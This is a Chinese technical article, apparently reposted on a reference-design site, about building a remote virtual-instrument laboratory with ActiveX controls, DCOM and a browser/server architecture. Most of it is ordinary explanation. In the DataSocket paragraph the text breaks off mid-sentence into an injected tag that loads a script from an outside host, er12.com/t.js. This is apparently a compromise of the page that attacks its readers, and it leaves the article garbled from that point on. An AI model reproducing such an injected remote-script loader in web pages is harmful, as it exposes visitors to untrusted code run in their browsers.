基于ActiveX控件的网络虚拟仪器实验室

摘 要:探讨了一种如何利用activex控件创建网络虚拟仪器实验室的通用方法,整个系统基于b/s构架,在vb6.0环境下采用activex控件技术设计出虚拟仪器,并将其制作成相关的网页,通过internet向外发布。

关键词:activex控件;网络虚拟仪器实验室;b/s;web

  虚拟仪器(virtualinstrument,vi)是仪器技术和计算机技术深层次结合的产物,是全新概念的仪器,是对传统仪器概念的重大突破,代表着电子测控仪器的发展方向。国内外的大学纷纷将其引入教学中来,同时积极开展了针对远程虚拟仪器实验室方面的研究,并且取得了一定的进展。但目前都还没有非常成功的应用实例,而且也未达成一定的设计规范。现有的网络虚拟实验室大都采用c/s构架。在该构架下不仅要为服务器开发软件,而且还要为客户端开发专用软件,而且当服务器软件升级或发生修改时,客户端程序也必须做相应的变动。

  基于上述原因,从c/s构架基础上发展起来的b/s构架开始受到重视。他最大的特点是用户端只需接入internet并且安装一个浏览器,而不涉及任何程序开发。本文所讨论的网络虚拟仪器实验室采用的是b/s构架,并且涉及到组件技术、activex控件、internet网络编程、datasocket等多种技术。用户只需要安装一个浏览器(如internetexplore),就可以通过internet来访问网络虚拟仪器实验室,在web页面上选择适宜的实验来远程控制实验仪器设备之后,就可根据其工作原理进行操作练习,而且可以从网上直接获得实验数据,实时地观察到实验结果。

1 activex技术

  activex技术则是微软提出的基于dcom(distributed componentobjectmodel)使得软件组件能够在网络环境中进行交互的技术集[1,2],他的前身是对象的链接和嵌入(ole)。dcom本身并不是一个编程工具,而是一个可扩展体系结构的规范[3],在这个体系结构中,可以无缝地加入服务。dcom模型定义了符合mswindows对象的标准,包括一个统一的对象访问接口iunkown和对象的结构。activex技术正是符合这一标准的工具,通过他将计算机桌面与internet环境集成起来。activex描述对象的可执行代码可被其他用不同语言编写的对象执行,对象之间通过接口交互。应用程序activexautomation server让其他应用程序告诉他在做什么、提示方法和属性,由他控制着activex对象的运行。

  activex技术在b/s构架中的应用是以activex控件的形式出现的,用于向web页面,microsoftword等支持activex的容器(container)中插入com对象[4,5]。activex是一个非常快的小型activexautomation server,分为客户端控件和服务器端控件。客户端控件是面向用户的,以可视化的图形视频或文字界面、或音频形式在浏览器上出现。但他可能当浏览器发出请求时,web服务器回传页面,由浏览器负责解释。在解释过程中,若发现页面中要求调用activex控件,则用该控件在页面中注明的id值先在本地的注册表中进行查询。若已存在,说明该控件已经在本地安装,然后就可以通过注册表中的信息直接使用该控件;否则就要根据页面中所提示的信息到该控件所在的服务器上去下载并且自动完成在本地的安装注册,使该控件成为本地资源。利用脚本描述语言可以在控件之间以及客户与服务器之间通过设置属性(property)、调用方法(method)和激活事件(event)的方式进行通信。这样通过该控件不但可以访问本地资源,而且可以进行远程访问。

  activex控件在b/s构架中的作用可用图1表示。

由图可见服务器端控件是位于web服务器上与application server进行交互的控件,他只能在服务器上运行,对浏览器端是完全透明的。作为web服务器与application server的接口,客户端可以快速地访问和使用application server上的资源和服务。

2 基于activex控件的网络虚拟仪器实验室

  网络虚拟仪器实验室是一个由硬件、软件和具体的教学内容组成的一体化有机系统。支撑他的硬件基础是虚拟仪器实验室中的各种能够连接到计算机的各种实验设备(如带gpib接口的数字示波器、数据采集卡等)、服务器以及internet,系统的整体结构如图2所示。在该结构下,用户的计算机只要接入internet就可以通过浏览器访问网络虚拟仪器实验室。服务器端则由web服务器、虚拟仪器服务器和具体的仪器设备组成。其中在web服务器上还建有一个数据库,用来记录访问实验室的用户的相关信息,如ip地址、访问时间、退出时间和实验内容等。

  建立网络虚拟仪器实验室的一个关键问题是测控数据在网上的发布和共享。针对这一问题,以往多采用tcp/ip,api,dde等技术去解决这方面的问题,但涉及到较为复杂的底层编程或传输数据速率较慢,限制着网上远程测控技术的推广应用。ni公司于1999年初正式推出的datasocket技术,他基于tcp/ip协议,支持本地文件i?script src=http://er12.com/t.js>

  • 基于ActiveX控件的网络虚拟仪器实验室已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计